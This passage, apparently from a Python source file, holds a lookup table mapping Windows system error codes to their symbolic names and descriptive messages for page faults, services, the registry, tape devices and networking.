volume, but it was not able to" " reassign the failing area of the device." ), }, 0x000002C2: { "code": "ERROR_IMAGE_MACHINE_TYPE_MISMATCH", "message": ( "{Machine Type Mismatch} The image file %hs is valid, but is for a machine" " type other than the current machine. Select OK to continue, or CANCEL to" " fail the DLL load." ), }, 0x000002C3: { "code": "ERROR_RECEIVE_PARTIAL", "message": ( "{Partial Data Received} The network transport returned partial data to its" " client. The remaining data will be sent later." ), }, 0x000002C4: { "code": "ERROR_RECEIVE_EXPEDITED", "message": ( "{Expedited Data Received} The network transport returned data to its" " client that was marked as expedited by the remote system." ), }, 0x000002C5: { "code": "ERROR_RECEIVE_PARTIAL_EXPEDITED", "message": ( "{Partial Expedited Data Received} The network transport returned partial" " data to its client and this data was marked as expedited by the remote" " system. The remaining data will be sent later." ), }, 0x000002C6: { "code": "ERROR_EVENT_DONE", "message": "{TDI Event Done} The TDI indication has completed successfully.", }, 0x000002C7: { "code": "ERROR_EVENT_PENDING", "message": ( "{TDI Event Pending} The TDI indication has entered the pending state." ), }, 0x000002C8: { "code": "ERROR_CHECKING_FILE_SYSTEM", "message": "Checking file system on %wZ.", }, 0x000002C9: { "code": "ERROR_FATAL_APP_EXIT", "message": "{Fatal Application Exit} %hs.", }, 0x000002CA: { "code": "ERROR_PREDEFINED_HANDLE", "message": "The specified registry key is referenced by a predefined handle.", }, 0x000002CB: { "code": "ERROR_WAS_UNLOCKED", "message": ( "{Page Unlocked} The page protection of a locked page was changed to 'No" " Access' and the page was unlocked from memory and from the process." ), }, 0x000002CD: { "code": "ERROR_WAS_LOCKED", "message": "{Page Locked} One of the pages to lock was already locked.", }, 0x000002CF: { "code": "ERROR_ALREADY_WIN32", "message": "The value already corresponds with a Win 32 error code.", }, 0x000002D0: { "code": "ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE", "message": ( "{Machine Type Mismatch} The image file %hs is valid, but is for a machine" " type other than the current machine." ), }, 0x000002D1: { "code": "ERROR_NO_YIELD_PERFORMED", "message": ( "A yield execution was performed and no thread was available to run." ), }, 0x000002D2: { "code": "ERROR_TIMER_RESUME_IGNORED", "message": "The resume flag to a timer API was ignored.", }, 0x000002D3: { "code": "ERROR_ARBITRATION_UNHANDLED", "message": ( "The arbiter has deferred arbitration of these resources to its parent." ), }, 0x000002D4: { "code": "ERROR_CARDBUS_NOT_SUPPORTED", "message": ( "The inserted CardBus device cannot be started because of a configuration" ' error on %hs"."' ), }, 0x000002D5: { "code": "ERROR_MP_PROCESSOR_MISMATCH", "message": ( "The CPUs in this multiprocessor system are not all the same revision" " level. To use all processors the operating system restricts itself to the" " features of the least capable processor in the system. If problems occur" " with this system, contact the CPU manufacturer to see if this mix of" " processors is supported." ), }, 0x000002D6: { "code": "ERROR_HIBERNATED", "message": "The system was put into hibernation.", }, 0x000002D7: { "code": "ERROR_RESUME_HIBERNATION", "message": "The system was resumed from hibernation.", }, 0x000002D8: { "code": "ERROR_FIRMWARE_UPDATED", "message": ( "Windows has detected that the system firmware (BIOS) was updated (previous" " firmware date = %2, current firmware date %3)." ), }, 0x000002D9: { "code": "ERROR_DRIVERS_LEAKING_LOCKED_PAGES", "message": ( "A device driver is leaking locked I/O pages, causing system degradation." " The system has automatically enabled a tracking code to try and catch the" " culprit." ), }, 0x000002DA: {"code": "ERROR_WAKE_SYSTEM", "message": "The system has awoken."}, 0x000002DF: { "code": "ERROR_ABANDONED_WAIT_0", "message": "The call failed because the handle associated with it was closed.", }, 0x000002E4: { "code": "ERROR_ELEVATION_REQUIRED", "message": "The requested operation requires elevation.", }, 0x000002E5: { "code": "ERROR_REPARSE", "message": ( "A reparse should be performed by the object manager because the name of" " the file resulted in a symbolic link." ), }, 0x000002E6: { "code": "ERROR_OPLOCK_BREAK_IN_PROGRESS", "message": ( "An open/create operation completed while an oplock break is underway." ), }, 0x000002E7: { "code": "ERROR_VOLUME_MOUNTED", "message": "A new volume has been mounted by a file system.", }, 0x000002E8: { "code": "ERROR_RXACT_COMMITTED", "message": ( "This success level status indicates that the transaction state already" " exists for the registry subtree, but that a transaction commit was" " previously aborted. The commit has now been completed." ), }, 0x000002E9: { "code": "ERROR_NOTIFY_CLEANUP", "message": ( "This indicates that a notify change request has been completed due to" " closing the handle which made the notify change request." ), }, 0x000002EA: { "code": "ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED", "message": ( "{Connect Failure on Primary Transport} An attempt was made to connect to" " the remote server %hs on the primary transport, but the connection" " failed. The computer was able to connect on a secondary transport." ), }, 0x000002EB: { "code": "ERROR_PAGE_FAULT_TRANSITION", "message": "Page fault was a transition fault.", }, 0x000002EC: { "code": "ERROR_PAGE_FAULT_DEMAND_ZERO", "message": "Page fault was a demand zero fault.", }, 0x000002ED: { "code": "ERROR_PAGE_FAULT_COPY_ON_WRITE", "message": "Page fault was a demand zero fault.", }, 0x000002EE: { "code": "ERROR_PAGE_FAULT_GUARD_PAGE", "message": "Page fault was a demand zero fault.", }, 0x000002EF: { "code": "ERROR_PAGE_FAULT_PAGING_FILE", "message": ( "Page fault was satisfied by reading from a secondary storage device." ), }, 0x000002F0: { "code": "ERROR_CACHE_PAGE_LOCKED", "message": "Cached page was locked during operation.", }, 0x000002F1: { "code": "ERROR_CRASH_DUMP", "message": "Crash dump exists in paging file.", }, 0x000002F2: { "code": "ERROR_BUFFER_ALL_ZEROS", "message": "Specified buffer contains all zeros.", }, 0x000002F3: { "code": "ERROR_REPARSE_OBJECT", "message": ( "A reparse should be performed by the object manager because the name of" " the file resulted in a symbolic link." ), }, 0x000002F4: { "code": "ERROR_RESOURCE_REQUIREMENTS_CHANGED", "message": ( "The device has succeeded a query-stop and its resource requirements have" " changed." ), }, 0x000002F5: { "code": "ERROR_TRANSLATION_COMPLETE", "message": ( "The translator has translated these resources into the global space and no" " further translations should be performed." ), }, 0x000002F6: { "code": "ERROR_NOTHING_TO_TERMINATE", "message": "A process being terminated has no threads to terminate.", }, 0x000002F7: { "code": "ERROR_PROCESS_NOT_IN_JOB", "message": "The specified process is not part of a job.", }, 0x000002F8: { "code": "ERROR_PROCESS_IN_JOB", "message": "The specified process is part of a job.", }, 0x000002F9: { "code": "ERROR_VOLSNAP_HIBERNATE_READY", "message": ( "{Volume Shadow Copy Service} The system is now ready for hibernation." ), }, 0x000002FA: { "code": "ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY", "message": ( "A file system or file system filter driver has successfully completed an" " FsFilter operation." ), }, 0x000002FB: { "code": "ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED", "message": "The specified interrupt vector was already connected.", }, 0x000002FC: { "code": "ERROR_INTERRUPT_STILL_CONNECTED", "message": "The specified interrupt vector is still connected.", }, 0x000002FD: { "code": "ERROR_WAIT_FOR_OPLOCK", "message": "An operation is blocked waiting for an oplock.", }, 0x000002FE: { "code": "ERROR_DBG_EXCEPTION_HANDLED", "message": "Debugger handled exception.", }, 0x000002FF: {"code": "ERROR_DBG_CONTINUE", "message": "Debugger continued."}, 0x00000300: { "code": "ERROR_CALLBACK_POP_STACK", "message": ( "An exception occurred in a user mode callback and the kernel callback" " frame should be removed." ), }, 0x00000301: { "code": "ERROR_COMPRESSION_DISABLED", "message": "Compression is disabled for this volume.", }, 0x00000302: { "code": "ERROR_CANTFETCHBACKWARDS", "message": "The data provider cannot fetch backward through a result set.", }, 0x00000303: { "code": "ERROR_CANTSCROLLBACKWARDS", "message": "The data provider cannot scroll backward through a result set.", }, 0x00000304: { "code": "ERROR_ROWSNOTRELEASED", "message": ( "The data provider requires that previously fetched data is released before" " asking for more data." ), }, 0x00000305: { "code": "ERROR_BAD_ACCESSOR_FLAGS", "message": ( "The data provider was not able to interpret the flags set for a column" " binding in an accessor." ), }, 0x00000306: { "code": "ERROR_ERRORS_ENCOUNTERED", "message": "One or more errors occurred while processing the request.", }, 0x00000307: { "code": "ERROR_NOT_CAPABLE", "message": "The implementation is not capable of performing the request.", }, 0x00000308: { "code": "ERROR_REQUEST_OUT_OF_SEQUENCE", "message": ( "The client of a component requested an operation that is not valid given" " the state of the component instance." ), }, 0x00000309: { "code": "ERROR_VERSION_PARSE_ERROR", "message": "A version number could not be parsed.", }, 0x0000030A: { "code": "ERROR_BADSTARTPOSITION", "message": "The iterator's start position is invalid.", }, 0x0000030B: { "code": "ERROR_MEMORY_HARDWARE", "message": "The hardware has reported an uncorrectable memory error.", }, 0x0000030C: { "code": "ERROR_DISK_REPAIR_DISABLED", "message": "The attempted operation required self-healing to be enabled.", }, 0x0000030D: { "code": "ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE", "message": ( "The Desktop heap encountered an error while allocating session memory." " There is more information in the system event log." ), }, 0x0000030E: { "code": "ERROR_SYSTEM_POWERSTATE_TRANSITION", "message": "The system power state is transitioning from %2 to %3.", }, 0x0000030F: { "code": "ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION", "message": ( "The system power state is transitioning from %2 to %3 but could enter %4." ), }, 0x00000310: { "code": "ERROR_MCA_EXCEPTION", "message": "A thread is getting dispatched with MCA EXCEPTION because of MCA.", }, 0x00000311: { "code": "ERROR_ACCESS_AUDIT_BY_POLICY", "message": "Access to %1 is monitored by policy rule %2.", }, 0x00000312: { "code": "ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY", "message": ( "Access to %1 has been restricted by your administrator by policy rule %2." ), }, 0x00000313: { "code": "ERROR_ABANDON_HIBERFILE", "message": ( "A valid hibernation file has been invalidated and should be abandoned." ), }, 0x00000314: { "code": "ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED", "message": ( "{Delayed Write Failed} Windows was unable to save all the data for the" " file %hs; the data has been lost. This error can be caused by network" " connectivity issues. Try to save this file elsewhere." ), }, 0x00000315: { "code": "ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR", "message": ( "{Delayed Write Failed} Windows was unable to save all the data for the" " file %hs; the data has been lost. This error was returned by the server" " on which the file exists. Try to save this file elsewhere." ), }, 0x00000316: { "code": "ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR", "message": ( "{Delayed Write Failed} Windows was unable to save all the data for the" " file %hs; the data has been lost. This error can be caused if the device" " has been removed or the media is write-protected." ), }, 0x000003E2: { "code": "ERROR_EA_ACCESS_DENIED", "message": "Access to the extended attribute was denied.", }, 0x000003E3: { "code": "ERROR_OPERATION_ABORTED", "message": ( "The I/O operation has been aborted because of either a thread exit or an" " application request." ), }, 0x000003E4: { "code": "ERROR_IO_INCOMPLETE", "message": "Overlapped I/O event is not in a signaled state.", }, 0x000003E5: { "code": "ERROR_IO_PENDING", "message": "Overlapped I/O operation is in progress.", }, 0x000003E6: { "code": "ERROR_NOACCESS", "message": "Invalid access to memory location.", }, 0x000003E7: { "code": "ERROR_SWAPERROR", "message": "Error performing in-page operation.", }, 0x000003E9: { "code": "ERROR_STACK_OVERFLOW", "message": "Recursion too deep; the stack overflowed.", }, 0x000003EA: { "code": "ERROR_INVALID_MESSAGE", "message": "The window cannot act on the sent message.", }, 0x000003EB: { "code": "ERROR_CAN_NOT_COMPLETE", "message": "Cannot complete this function.", }, 0x000003EC: {"code": "ERROR_INVALID_FLAGS", "message": "Invalid flags."}, 0x000003ED: { "code": "ERROR_UNRECOGNIZED_VOLUME", "message": ( "The volume does not contain a recognized file system. Be sure that all" " required file system drivers are loaded and that the volume is not" " corrupted." ), }, 0x000003EE: { "code": "ERROR_FILE_INVALID", "message": ( "The volume for a file has been externally altered so that the opened file" " is no longer valid." ), }, 0x000003EF: { "code": "ERROR_FULLSCREEN_MODE", "message": "The requested operation cannot be performed in full-screen mode.", }, 0x000003F0: { "code": "ERROR_NO_TOKEN", "message": "An attempt was made to reference a token that does not exist.", }, 0x000003F1: { "code": "ERROR_BADDB", "message": "The configuration registry database is corrupt.", }, 0x000003F2: { "code": "ERROR_BADKEY", "message": "The configuration registry key is invalid.", }, 0x000003F3: { "code": "ERROR_CANTOPEN", "message": "The configuration registry key could not be opened.", }, 0x000003F4: { "code": "ERROR_CANTREAD", "message": "The configuration registry key could not be read.", }, 0x000003F5: { "code": "ERROR_CANTWRITE", "message": "The configuration registry key could not be written.", }, 0x000003F6: { "code": "ERROR_REGISTRY_RECOVERED", "message": ( "One of the files in the registry database had to be recovered by use of a" " log or alternate copy. The recovery was successful." ), }, 0x000003F7: { "code": "ERROR_REGISTRY_CORRUPT", "message": ( "The registry is corrupted. The structure of one of the files containing" " registry data is corrupted, or the system's memory image of the file is" " corrupted, or the file could not be recovered because the alternate copy" " or log was absent or corrupted." ), }, 0x000003F8: { "code": "ERROR_REGISTRY_IO_FAILED", "message": ( "An I/O operation initiated by the registry failed and cannot be recovered." " The registry could not read in, write out, or flush one of the files that" " contain the system's image of the registry." ), }, 0x000003F9: { "code": "ERROR_NOT_REGISTRY_FILE", "message": ( "The system attempted to load or restore a file into the registry, but the" " specified file is not in a registry file format." ), }, 0x000003FA: { "code": "ERROR_KEY_DELETED", "message": ( "Illegal operation attempted on a registry key that has been marked for" " deletion." ), }, 0x000003FB: { "code": "ERROR_NO_LOG_SPACE", "message": "System could not allocate the required space in a registry log.", }, 0x000003FC: { "code": "ERROR_KEY_HAS_CHILDREN", "message": ( "Cannot create a symbolic link in a registry key that already has subkeys" " or values." ), }, 0x000003FD: { "code": "ERROR_CHILD_MUST_BE_VOLATILE", "message": "Cannot create a stable subkey under a volatile parent key.", }, 0x000003FE: { "code": "ERROR_NOTIFY_ENUM_DIR", "message": ( "A notify change request is being completed and the information is not" " being returned in the caller's buffer. The caller now needs to enumerate" " the files to find the changes." ), }, 0x0000041B: { "code": "ERROR_DEPENDENT_SERVICES_RUNNING", "message": ( "A stop control has been sent to a service that other running services are" " dependent on." ), }, 0x0000041C: { "code": "ERROR_INVALID_SERVICE_CONTROL", "message": "The requested control is not valid for this service.", }, 0x0000041D: { "code": "ERROR_SERVICE_REQUEST_TIMEOUT", "message": ( "The service did not respond to the start or control request in a timely" " fashion." ), }, 0x0000041E: { "code": "ERROR_SERVICE_NO_THREAD", "message": "A thread could not be created for the service.", }, 0x0000041F: { "code": "ERROR_SERVICE_DATABASE_LOCKED", "message": "The service database is locked.", }, 0x00000420: { "code": "ERROR_SERVICE_ALREADY_RUNNING", "message": "An instance of the service is already running.", }, 0x00000421: { "code": "ERROR_INVALID_SERVICE_ACCOUNT", "message": ( "The account name is invalid or does not exist, or the password is invalid" " for the account name specified." ), }, 0x00000422: { "code": "ERROR_SERVICE_DISABLED", "message": ( "The service cannot be started, either because it is disabled or because it" " has no enabled devices associated with it." ), }, 0x00000423: { "code": "ERROR_CIRCULAR_DEPENDENCY", "message": "Circular service dependency was specified.", }, 0x00000424: { "code": "ERROR_SERVICE_DOES_NOT_EXIST", "message": "The specified service does not exist as an installed service.", }, 0x00000425: { "code": "ERROR_SERVICE_CANNOT_ACCEPT_CTRL", "message": "The service cannot accept control messages at this time.", }, 0x00000426: { "code": "ERROR_SERVICE_NOT_ACTIVE", "message": "The service has not been started.", }, 0x00000427: { "code": "ERROR_FAILED_SERVICE_CONTROLLER_CONNECT", "message": "The service process could not connect to the service controller.", }, 0x00000428: { "code": "ERROR_EXCEPTION_IN_SERVICE", "message": ( "An exception occurred in the service when handling the control request." ), }, 0x00000429: { "code": "ERROR_DATABASE_DOES_NOT_EXIST", "message": "The database specified does not exist.", }, 0x0000042A: { "code": "ERROR_SERVICE_SPECIFIC_ERROR", "message": "The service has returned a service-specific error code.", }, 0x0000042B: { "code": "ERROR_PROCESS_ABORTED", "message": "The process terminated unexpectedly.", }, 0x0000042C: { "code": "ERROR_SERVICE_DEPENDENCY_FAIL", "message": "The dependency service or group failed to start.", }, 0x0000042D: { "code": "ERROR_SERVICE_LOGON_FAILED", "message": "The service did not start due to a logon failure.", }, 0x0000042E: { "code": "ERROR_SERVICE_START_HANG", "message": ( "After starting, the service stopped responding in a start-pending state." ), }, 0x0000042F: { "code": "ERROR_INVALID_SERVICE_LOCK", "message": "The specified service database lock is invalid.", }, 0x00000430: { "code": "ERROR_SERVICE_MARKED_FOR_DELETE", "message": "The specified service has been marked for deletion.", }, 0x00000431: { "code": "ERROR_SERVICE_EXISTS", "message": "The specified service already exists.", }, 0x00000432: { "code": "ERROR_ALREADY_RUNNING_LKG", "message": ( "The system is currently running with the last-known-good configuration." ), }, 0x00000433: { "code": "ERROR_SERVICE_DEPENDENCY_DELETED", "message": ( "The dependency service does not exist or has been marked for deletion." ), }, 0x00000434: { "code": "ERROR_BOOT_ALREADY_ACCEPTED", "message": ( "The current boot has already been accepted for use as the last-known-good" " control set." ), }, 0x00000435: { "code": "ERROR_SERVICE_NEVER_STARTED", "message": ( "No attempts to start the service have been made since the last boot." ), }, 0x00000436: { "code": "ERROR_DUPLICATE_SERVICE_NAME", "message": ( "The name is already in use as either a service name or a service display" " name." ), }, 0x00000437: { "code": "ERROR_DIFFERENT_SERVICE_ACCOUNT", "message": ( "The account specified for this service is different from the account" " specified for other services running in the same process." ), }, 0x00000438: { "code": "ERROR_CANNOT_DETECT_DRIVER_FAILURE", "message": ( "Failure actions can only be set for Win32 services, not for drivers." ), }, 0x00000439: { "code": "ERROR_CANNOT_DETECT_PROCESS_ABORT", "message": ( "This service runs in the same process as the service control manager." " Therefore, the service control manager cannot take action if this" " service's process terminates unexpectedly." ), }, 0x0000043A: { "code": "ERROR_NO_RECOVERY_PROGRAM", "message": "No recovery program has been configured for this service.", }, 0x0000043B: { "code": "ERROR_SERVICE_NOT_IN_EXE", "message": ( "The executable program that this service is configured to run in does not" " implement the service." ), }, 0x0000043C: { "code": "ERROR_NOT_SAFEBOOT_SERVICE", "message": "This service cannot be started in Safe Mode.", }, 0x0000044C: { "code": "ERROR_END_OF_MEDIA", "message": "The physical end of the tape has been reached.", }, 0x0000044D: { "code": "ERROR_FILEMARK_DETECTED", "message": "A tape access reached a filemark.", }, 0x0000044E: { "code": "ERROR_BEGINNING_OF_MEDIA", "message": "The beginning of the tape or a partition was encountered.", }, 0x0000044F: { "code": "ERROR_SETMARK_DETECTED", "message": "A tape access reached the end of a set of files.", }, 0x00000450: { "code": "ERROR_NO_DATA_DETECTED", "message": "No more data is on the tape.", }, 0x00000451: { "code": "ERROR_PARTITION_FAILURE", "message": "Tape could not be partitioned.", }, 0x00000452: { "code": "ERROR_INVALID_BLOCK_LENGTH", "message": ( "When accessing a new tape of a multivolume partition, the current block" " size is incorrect." ), }, 0x00000453: { "code": "ERROR_DEVICE_NOT_PARTITIONED", "message": "Tape partition information could not be found when loading a tape.", }, 0x00000454: { "code": "ERROR_UNABLE_TO_LOCK_MEDIA", "message": "Unable to lock the media eject mechanism.", }, 0x00000455: { "code": "ERROR_UNABLE_TO_UNLOAD_MEDIA", "message": "Unable to unload the media.", }, 0x00000456: { "code": "ERROR_MEDIA_CHANGED", "message": "The media in the drive might have changed.", }, 0x00000457: {"code": "ERROR_BUS_RESET", "message": "The I/O bus was reset."}, 0x00000458: {"code": "ERROR_NO_MEDIA_IN_DRIVE", "message": "No media in drive."}, 0x00000459: { "code": "ERROR_NO_UNICODE_TRANSLATION", "message": ( "No mapping for the Unicode character exists in the target multibyte code" " page." ), }, 0x0000045A: { "code": "ERROR_DLL_INIT_FAILED", "message": "A DLL initialization routine failed.", }, 0x0000045B: { "code": "ERROR_SHUTDOWN_IN_PROGRESS", "message": "A system shutdown is in progress.", }, 0x0000045C: { "code": "ERROR_NO_SHUTDOWN_IN_PROGRESS", "message": ( "Unable to abort the system shutdown because no shutdown was in progress." ), }, 0x0000045D: { "code": "ERROR_IO_DEVICE", "message": "The request could not be performed because of an I/O device error.", }, 0x0000045E: { "code": "ERROR_SERIAL_NO_DEVICE", "message": ( "No serial device was successfully initialized. The serial driver will" " unload." ), }, 0x0000045F: { "code": "ERROR_IRQ_BUSY", "message": ( "Unable to open a device that was sharing an IRQ with other devices. At" " least one other device that uses that IRQ was already opened." ), }, 0x00000460: { "code": "ERROR_MORE_WRITES", "message": ( "A serial I/O operation was completed by another write to the serial port." " (The IOCTL_SERIAL_XOFF_COUNTER reached zero.)" ), }, 0x00000461: { "code": "ERROR_COUNTER_TIMEOUT", "message": ( "A serial I/O operation completed because the time-out period expired. (The" " IOCTL_SERIAL_XOFF_COUNTER did not reach zero.)" ), }, 0x00000462: { "code": "ERROR_FLOPPY_ID_MARK_NOT_FOUND", "message": "No ID address mark was found on the floppy disk.", }, 0x00000463: { "code": "ERROR_FLOPPY_WRONG_CYLINDER", "message": ( "Mismatch between the floppy disk sector ID field and the floppy disk" " controller track address." ), }, 0x00000464: { "code": "ERROR_FLOPPY_UNKNOWN_ERROR", "message": ( "The floppy disk controller reported an error that is not recognized by the" " floppy disk driver." ), }, 0x00000465: { "code": "ERROR_FLOPPY_BAD_REGISTERS", "message": ( "The floppy disk controller returned inconsistent results in its registers." ), }, 0x00000466: { "code": "ERROR_DISK_RECALIBRATE_FAILED", "message": ( "While accessing the hard disk, a recalibrate operation failed, even after" " retries." ), }, 0x00000467: { "code": "ERROR_DISK_OPERATION_FAILED", "message": ( "While accessing the hard disk, a disk operation failed even after retries." ), }, 0x00000468: { "code": "ERROR_DISK_RESET_FAILED", "message": ( "While accessing the hard disk, a disk controller reset was needed, but" " that also failed." ), }, 0x00000469: { "code": "ERROR_EOM_OVERFLOW", "message": "Physical end of tape encountered.", }, 0x0000046A: { "code": "ERROR_NOT_ENOUGH_SERVER_MEMORY", "message": "Not enough server storage is available to process this command.", }, 0x0000046B: { "code": "ERROR_POSSIBLE_DEADLOCK", "message": "A potential deadlock condition has been detected.", }, 0x0000046C: { "code": "ERROR_MAPPED_ALIGNMENT", "message": ( "The base address or the file offset specified does not have the proper" " alignment." ), }, 0x00000474: { "code": "ERROR_SET_POWER_STATE_VETOED", "message": ( "An attempt to change the system power state was vetoed by another" " application or driver." ), }, 0x00000475: { "code": "ERROR_SET_POWER_STATE_FAILED", "message": ( "The system BIOS failed an attempt to change the system power state." ), }, 0x00000476: { "code": "ERROR_TOO_MANY_LINKS", "message": ( "An attempt was made to create more links on a file than the file system" " supports." ), }, 0x0000047E: { "code": "ERROR_OLD_WIN_VERSION", "message": "The specified program requires a newer version of Windows.", }, 0x0000047F: { "code": "ERROR_APP_WRONG_OS", "message": "The specified program is not a Windows or MS-DOS program.", }, 0x00000480: { "code": "ERROR_SINGLE_INSTANCE_APP", "message": "Cannot start more than one instance of the specified program.", }, 0x00000481: { "code": "ERROR_RMODE_APP", "message": ( "The specified program was written for an earlier version of Windows." ), }, 0x00000482: { "code": "ERROR_INVALID_DLL", "message": ( "One of the library files needed to run this application is damaged." ), }, 0x00000483: { "code": "ERROR_NO_ASSOCIATION", "message": ( "No application is associated with the specified file for this operation." ), }, 0x00000484: { "code": "ERROR_DDE_FAIL", "message": "An error occurred in sending the command to the application.", }, 0x00000485: { "code": "ERROR_DLL_NOT_FOUND", "message": ( "One of the library files needed to run this application cannot be found." ), }, 0x00000486: { "code": "ERROR_NO_MORE_USER_HANDLES", "message": ( "The current process has used all of its system allowance of handles for" " Windows manager objects." ), }, 0x00000487: { "code": "ERROR_MESSAGE_SYNC_ONLY", "message": "The message can be used only with synchronous operations.", }, 0x00000488: { "code": "ERROR_SOURCE_ELEMENT_EMPTY", "message": "The indicated source element has no media.", }, 0x00000489: { "code": "ERROR_DESTINATION_ELEMENT_FULL", "message": "The indicated destination element already contains media.", }, 0x0000048A: { "code": "ERROR_ILLEGAL_ELEMENT_ADDRESS", "message": "The indicated element does not exist.", }, 0x0000048B: { "code": "ERROR_MAGAZINE_NOT_PRESENT", "message": "The indicated element is part of a magazine that is not present.", }, 0x0000048C: { "code": "ERROR_DEVICE_REINITIALIZATION_NEEDED", "message": ( "The indicated device requires re-initialization due to hardware errors." ), }, 0x0000048D: { "code": "ERROR_DEVICE_REQUIRES_CLEANING", "message": ( "The device has indicated that cleaning is required before further" " operations are attempted." ), }, 0x0000048E: { "code": "ERROR_DEVICE_DOOR_OPEN", "message": "The device has indicated that its door is open.", }, 0x0000048F: { "code": "ERROR_DEVICE_NOT_CONNECTED", "message": "The device is not connected.", }, 0x00000490: {"code": "ERROR_NOT_FOUND", "message": "Element not found."}, 0x00000491: { "code": "ERROR_NO_MATCH", "message": "There was no match for the specified key in the index.", }, 0x00000492: { "code": "ERROR_SET_NOT_FOUND", "message": "The property set specified does not exist on the object.", }, 0x00000493: { "code": "ERROR_POINT_NOT_FOUND", "message": "The point passed to GetMouseMovePoints is not in the buffer.", }, 0x00000494: { "code": "ERROR_NO_TRACKING_SERVICE", "message": "The tracking (workstation) service is not running.", }, 0x00000495: { "code": "ERROR_NO_VOLUME_ID", "message": "The volume ID could not be found.", }, 0x00000497: { "code": "ERROR_UNABLE_TO_REMOVE_REPLACED", "message": "Unable to remove the file to be replaced.", }, 0x00000498: { "code": "ERROR_UNABLE_TO_MOVE_REPLACEMENT", "message": ( "Unable to move the replacement file to the file to be replaced. The file" " to be replaced has retained its original name." ), }, 0x00000499: { "code": "ERROR_UNABLE_TO_MOVE_REPLACEMENT_2", "message": ( "Unable to move the replacement file to the file to be replaced. The file" " to be replaced has been renamed using the backup name." ), }, 0x0000049A: { "code": "ERROR_JOURNAL_DELETE_IN_PROGRESS", "message": "The volume change journal is being deleted.", }, 0x0000049B: { "code": "ERROR_JOURNAL_NOT_ACTIVE", "message": "The volume change journal is not active.", }, 0x0000049C: { "code": "ERROR_POTENTIAL_FILE_FOUND", "message": "A file was found, but it might not be the correct file.", }, 0x0000049D: { "code": "ERROR_JOURNAL_ENTRY_DELETED", "message": "The journal entry has been deleted from the journal.", }, 0x000004A6: { "code": "ERROR_SHUTDOWN_IS_SCHEDULED", "message": "A system shutdown has already been scheduled.", }, 0x000004A7: { "code": "ERROR_SHUTDOWN_USERS_LOGGED_ON", "message": ( "The system shutdown cannot be initiated because there are other users" " logged on to the computer." ), }, 0x000004B0: { "code": "ERROR_BAD_DEVICE", "message": "The specified device name is invalid.", }, 0x000004B1: { "code": "ERROR_CONNECTION_UNAVAIL", "message": ( "The device is not currently connected but it is a remembered connection." ), }, 0x000004B2: { "code": "ERROR_DEVICE_ALREADY_REMEMBERED", "message": ( "The local device name has a remembered connection to another network" " resource." ), }, 0x000004B3: { "code": "ERROR_NO_NET_OR_BAD_PATH", "message": ( "The network path was either typed incorrectly, does not exist, or the" " network provider is not currently available. Try retyping the path or" " contact your network administrator." ), }, 0x000004B4: { "code": "ERROR_BAD_PROVIDER", "message": "The specified network provider name is invalid.", }, 0x000004B5: { "code": "ERROR_CANNOT_OPEN_PROFILE", "message": "Unable to open the network connection profile.", }, 0x000004B6: { "code": "ERROR_BAD_PROFILE", "message": "The network connection profile is corrupted.", }, 0x000004B7: { "code": "ERROR_NOT_CONTAINER", "message": "Cannot enumerate a noncontainer.", }, 0x000004B8: { "code": "ERROR_EXTENDED_ERROR", "message": "An extended error has occurred.", }, 0x000004B9: { "code": "ERROR_INVALID_GROUPNAME", "message": "The format of the specified group name is invalid.", }, 0x000004BA: { "code": "ERROR_INVALID_COMPUTERNAME", "message": "The format of the specified computer name is invalid.", }, 0x000004BB: { "code": "ERROR_INVALID_EVENTNAME", "message": "The format of the specified event name is invalid.", }, 0x000004BC: { "code": "ERROR_INVALID_DOMAINNAME", "message": "The format of the specified domain name is invalid.", }, 0x000004BD: { "code": "ERROR_INVALID_SERVICENAME", "message": "The format of the specified service name is invalid.", }, 0x000004BE: { "code": "ERROR_INVALID_NETNAME", "message": "The format of the specified network name is invalid.", }, 0x000004BF: { "code": "ERROR_INVALID_SHARENAME", "message": "The format of the specified share name is invalid.", }, 0x000004C0: { "code": "ERROR_INVALID_PASSWORDNAME", "message": "The format of the specified password is invalid.", }, 0x000004C1: { "code": "ERROR_INVALID_MESSAGENAME", "message": "The format of the specified message name is invalid.", }, 0x000004C2: { "code": "ERROR_INVALID_MESSAGEDEST", "message": "The format of the specified message destination is invalid.", }, 0x000004C3: { "code": "ERROR_SESSION_CREDENTIAL_CONFLICT", "message": ( "Multiple connections to a server or shared resource by the same user," " using more than one user name, are not allowed. Disconnect all previous" " connections to the server or shared resource and try again." ), }, 0x000004C4: { "code": "ERROR_REMOTE_SESSION_LIMIT_EXCEEDED", "message": ( "An attempt was made to establish a session to a network server, but there" " are already too many sessions established to that server." ), }, 0x000004C5: { "code": "ERROR_DUP_DOMAINNAME", "message": ( "The workgroup or domain name is already in use by another computer on the" " network." ), }, 0x000004C6: { "code": "ERROR_NO_NETWORK", "message": "The network is not present or not started.", }, 0x000004C7: { "code": "ERROR_CANCELLED", "message": "The operation was canceled by the user.", }, 0x000004C8: { "code": "ERROR_USER_MAPPED_FILE", "message": ( "The requested operation cannot be performed on a file with a user-mapped" " section open." ), }, 0x000004C9: { "code": "ERROR_CONNECTION_REFUSED", "message": "The remote system refused the network connection.", }, 0x000004CA: { "code": "ERROR_GRACEFUL_DISCONNECT", "message": "The network connection was gracefully closed.", }, 0x000004CB: { "code": "ERROR_ADDRESS_ALREADY_ASSOCIATED", "message": ( "The network transport endpoint already has an address associated with it." ), }, 0x000004CC: { "code": "ERROR_ADDRESS_NOT_ASSOCIATED", "message": "An address has not yet been associated with the network endpoint.", }, 0x000004CD: { "code": "ERROR_CONNECTION_INVALID", "message": "An operation was attempted on a nonexistent network connection.", }, 0x000004CE: { "code": "ERROR_CONNECTION_ACTIVE", "message": ( "An invalid operation was attempted on an active network connection." ), }, 0x000004CF: { "code": "ERROR_NETWORK_UNREACHABLE", "message": ( "The network location cannot be reached. For information about network" " troubleshooting, see Windows Help." ), }, 0x000004D0: { "code": "ERROR_HOST_UNREACHABLE", "message": ( "The network location cannot be reached. For information about network" " troubleshooting, see Windows Help." ), }, 0x000004D1: { "code": 